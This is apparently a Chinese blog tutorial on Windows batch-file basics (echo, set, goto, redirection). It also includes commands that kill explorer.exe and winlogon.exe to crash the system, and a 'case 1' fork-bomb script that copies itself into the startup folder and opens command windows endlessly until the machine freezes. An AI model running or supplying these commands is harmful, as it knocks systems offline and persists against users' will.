zoukankan      html  css  js  c++  java
  • 批处理

    1.1批处理作用

    自上而下成批的处理每一条命令,直到执行最后一条

    1.2如何创建批处理

    扩展名:.bat

    创建方法:新建一个记事本文件,然后将扩展名改为.bat

    1.3批处理基本语法

    1.3.1@echo off

    作用:关闭回显过程,也就是屏蔽过程,建议放置在批处理的首行。

    1.3.2 pause

    作用:暂停批处理运行

    1.3.3 title

    作用:为批处理脚本设置标题

    1.3.4  echo.

    作用:在执行批处理脚本时,可以空一行

    1.3.5  set

    作用:设置变量

    set a=9    //直接给a赋值为9

    set /p time=请输入时间:  //用户输入来给time赋值

    set /a  后边可以进行数学计算

    引用变量的值:

      %time%    //将time表示的值调出来

    1.3.6  :和goto

    :定义标签名

    goto实现跳转

    当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块

    1.3.7  if语句

    和c语言几乎一样

    1.3.8

    d: 1>nul 2>nul

    这条命令的意思是,当成功进入d盘时,什么也不显示,当失败进入d盘时,什么也不显示

    1>nul 意思是不显示命令运行的正确提示

    2>nul 意思是不显示命令运行的错误提示

    如果两个都有的话,就是不管运行正确还是错误都什么都不显示

    >是重定向符号

    nul是空设备的意思

    把提示输入到空设备就是不显示了

    1.3.9

    taskkill   /im   explorer.exe    /f   >nul   2>nul

    作用:杀死进程的命令,explorer.exe是桌面的应用,杀死后,桌面消失

    start  c:windowsexplorer.exe        可以重新开启explorer.exe进程

    1.3.10

    ntsd  -c  q  -pn  winlogon.exe

    杀死登陆程序,但运行该脚本时已经登陆成功,此时杀死会让系统陷入矛盾,几秒的延迟后,会蓝屏(限xp,2003)

    案例1

    将批处理文件命名为qq.bat,写入以下代码

    copy qq.bat "%userprofile%"+启动文件夹路径

    :d

    start

    goto d

    运行后,计算机会不停的打开cmd窗口,直到卡死,然后在此开机后,仍然会自动运行这个文件

     

  • 相关阅读:
    iphone 越狱后 安装 pillow 报错 (未解决, 仅记录)
    阿甘正传影评
    聊聊“内卷”的本质
    Django REST Framework: 使用cach_page和drf-extensions进行缓存
    Python常用第三方库大全
    Go 第三方库推荐:类型转换如此简单
    Python 内置库:itertools
    4 款 MySQL 调优工具
    如何使用 asyncio 限制协程的并发数
    Go 的json 解析标准库竟然存在这样的陷阱?
  • 原文地址:https://www.cnblogs.com/fate-/p/12403710.html
Copyright © 2011-2022 走看看